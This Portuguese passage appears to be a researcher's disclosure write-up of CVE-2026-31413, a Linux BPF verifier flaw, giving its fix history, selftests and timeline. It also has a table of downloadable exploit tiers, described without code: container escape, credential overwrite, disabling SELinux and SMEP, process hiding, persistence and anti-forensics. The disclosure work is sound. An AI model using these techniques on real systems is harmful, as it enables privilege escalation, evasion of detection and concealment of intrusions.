  • v2: Eduard Zingerman sugeriu a abordagem de reexecução - empurrar para insn_idx em vez de insn_idx + 1. Mais simples, independente de opcode, elimina toda a classe de bugs de pular-vs-executar.
  • v3: Estilo de comentário de linha única nos selftests, de acordo com a revisão de Alexei Starovoitov. Mesma correção.

Mesclado como c845894ebd6f em 22 de março por Alexei Starovoitov. Selftests em 0ad1734cc559. Revisado por Eduard Zingerman, aprovado por Amery Hung.

Os selftests cobrem três casos:

  1. or_scalar_fork_rejects_oob - ARSH 63 + OR 8, value_size=8, acesso no deslocamento 8 é OOB → deve rejeitar
  2. and_scalar_fork_still_works - teste de regressão, o caminho AND ainda aceita
  3. or_scalar_fork_allows_inbounds - OR 4, value_size=8, deslocamento 4 está dentro dos limites → deve aceitar

Linus mesclou d5273fd3ca0b ("Merge tag 'bpf-fixes'") com a nota: "Corrigir fork escalar não sólido para instruções OR (Daniel Wade)".


Linha do tempo


Recursos

  • Commit da correção: c845894ebd6f ("bpf: Fix unsound scalar forking in maybe_fork_scalars() for BPF_OR")
  • Selftests: 0ad1734cc559 ("selftests/bpf: Add tests for maybe_fork_scalars() OR vs AND handling")
  • Commit introdutório: bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier")
  • Série de patches: lore.kernel.org
  • Código-fonte do exploit + patches: github.com/Rat5ak/CVE-2026-31413-BPF-Container-Escape

Aviso de isenção: Este código de exploit é publicado para fins educacionais e de pesquisa defensiva após divulgação responsável e mesclagem do patch. Não o use contra sistemas que você não possui ou que não tenha autorização explícita para testar. O autor não é responsável pelo uso indevido.

CVE-2026-31413 - Corrigido no Linux 7.0-rc5. Afetados: 6.12.75+ (backport estável) até 7.0-rc4.

Daniel Wade - GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online

Baixar ferramenta
NívelArquivoCapacidade
1exploit.c / exploit_gke.cEscape de contêiner - sequestro de vtable + sobrescrita de modprobe_path (o exploit principal descrito acima)
v2exploit_gke_v2.cSobrescrita de cred somente de dados - sem sequestro de vtable, sem modprobe_path, sem interação com o sistema de arquivos. Detecta automaticamente o layout de task_struct. Janela zero de corrupção de mapa. O exploit recomendado.
2tier2_cred_overwrite.cSobrescrita direta de credenciais - percorrer a cadeia task_struct, encontrar a tarefa atual, zerar uid/gid/caps em struct cred para root instantâneo
3tier3_syscall_hook.cHook da tabela de syscalls - percorrer as tabelas de páginas para tornar a tabela de syscalls gravável, trocar um handler, chamá-lo do userspace, restaurar
4tier4_security_disable.cDesativação de subsistemas de segurança - desabilitar SELinux, AppArmor, SMEP/SMAP/KPTI, dmesg_restrict, kptr_restrict; verificar via /proc
5tier5_cross_container.cRoubo de credenciais entre contêineres - enumerar estruturas nsproxy, encontrar o task_struct de um PID alvo em outro namespace, modificar suas credenciais
6tier6_persistence.cPersistência acionada pelo kernel - sobrescrever modprobe_path e core_pattern para executar payloads do atacante em erros de formato binário e crashes
7tier7_hardware.cIntrospecção em nível de hardware - fazer dump da IDT, ler/decodificar CR0/CR4, percorrer tabelas de páginas com matriz completa de permissões, recuperar a base do KASLR
8tier8_dkom_cloak.cCamuflagem de processo DKOM - criar um filho com fork, encontrar seu task_struct, desvinculá-lo da lista de tarefas do kernel (invisível para ps/iteradores de tarefas), religar
9tier9_code_inject.cInjeção de código ao vivo no kernel - aplicar patch no PMD de .text para torná-lo gravável, sobrescrever o prólogo de sys_getuid com shellcode (mov rax, 0x1337; ret), chamar do userspace, restaurar
10tier10_anti_forensics.cAntiforense - fazer dump do interior do ring buffer do printk, adulterar variáveis forenses (ftrace, audit, dmesg_restrict, kptr_restrict), R/W do texto do buffer de log do kernel
DataEvento
2026-01-14bffacdb80b93 introduz maybe_fork_scalars() no 7.0-rc1
2026-03-04Bug portado de volta para o estável 6.12.y como dea9989a3f
2026-03-11Encontro o bug durante auditoria do verificador
2026-03-12Leitura/escrita OOB confirmada, exploit funcionando
2026-03-13PoC de escape de contêiner completo, vídeo gravado
2026-03-14Patch v3 enviado para [email protected]
2026-03-22Correção mesclada por Alexei Starovoitov no bpf/bpf.git
2026-04-06Linus mescla a tag bpf-fixes na mainline
2026-04-12CVE-2026-31413 atribuído por Greg Kroah-Hartman